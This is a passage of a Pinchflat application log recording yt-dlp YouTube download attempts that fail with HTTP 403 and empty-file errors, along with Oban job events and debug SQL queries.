--sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ea/e5/eae5de29e1d60343ac675bb9f8df3492774bdff7307480f1dcd5ebe59d2fdb20.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:58:20.701 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:27.331 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ea/e5/eae5de29e1d60343ac675bb9f8df3492774bdff7307480f1dcd5ebe59d2fdb20.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 23:58:27.331 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 23:58:27.332 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":13164629,"event":"job:exception","queue_time":930253,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:58:50.702 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.268 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:59:20.704 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:50.705 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.269 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:00:17.380 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a4/a7/a4a7f6f78f71cb33203d6d6fdbae69bdfdb4c8d9fc9ac30f20b0c2a787bdf54c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 00:00:17.380 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 00:00:17.381 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":288398208,"event":"job:exception","queue_time":173285,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:00:20.707 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:50.708 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.270 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:01:20.710 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:50.711 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.271 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:02:20.713 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:50.714 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.272 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:03:20.715 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:50.716 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.273 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:04:20.718 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:50.720 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.274 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:05:20.721 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:50.723 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.275 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:06:20.724 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:26.722 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1775016386722213786,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:06:26.722 [debug] QUERY OK source="media_items" db=0.2ms idle=198.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 00:06:26.722 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:06:26.723 [debug] QUERY OK source="sources" db=0.2ms idle=199.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:06:26.723 [debug] QUERY OK source="media_profiles" db=0.1ms idle=199.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:06:26.724 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 00:06:26.724 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 00:06:26.724 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:06:26.725 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:06:26.725 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:06:26.725 [debug] Running yt-dlp command for action: get_downloadable_status 00:06:26.725 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:06:26.726 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:06:26.726 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:06:26.726 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/71/15/7115e62e5e783c8d15c376c11493382d6991c7a61315b3f79a35152cebfad7c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:06:31.584 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/71/15/7115e62e5e783c8d15c376c11493382d6991c7a61315b3f79a35152cebfad7c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:06:31.584 [debug] Running yt-dlp command for action: download 00:06:31.584 [debug] QUERY OK source="settings" db=0.1ms idle=1060.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:06:31.584 [debug] QUERY OK source="settings" db=0.0ms idle=1061.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:06:31.585 [debug] QUERY OK source="settings" db=0.1ms idle=1061.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:06:31.585 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/10/02/10023473b3df9b8d8232e64dcf7f9aaf16dc8ae766f4e7967501304b18069ce5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:06:50.725 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.276 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:07:19.137 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/10/02/10023473b3df9b8d8232e64dcf7f9aaf16dc8ae766f4e7967501304b18069ce5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 00:07:19.137 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 00:07:19.138 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":52415732,"event":"job:exception","queue_time":47288,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:07:20.727 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:50.728 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.277 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:08:20.730 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:38.871 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1775016518871493938,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:08:38.871 [debug] QUERY OK source="media_items" db=0.1ms idle=348.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 00:08:38.872 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:08:38.872 [debug] QUERY OK source="sources" db=0.2ms idle=348.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:08:38.872 [debug] QUERY OK source="media_profiles" db=0.1ms idle=348.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:08:38.873 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 00:08:38.873 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 00:08:38.873 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:08:38.874 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:08:38.874 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:08:38.874 [debug] Running yt-dlp command for action: get_downloadable_status 00:08:38.875 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:08:38.875 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 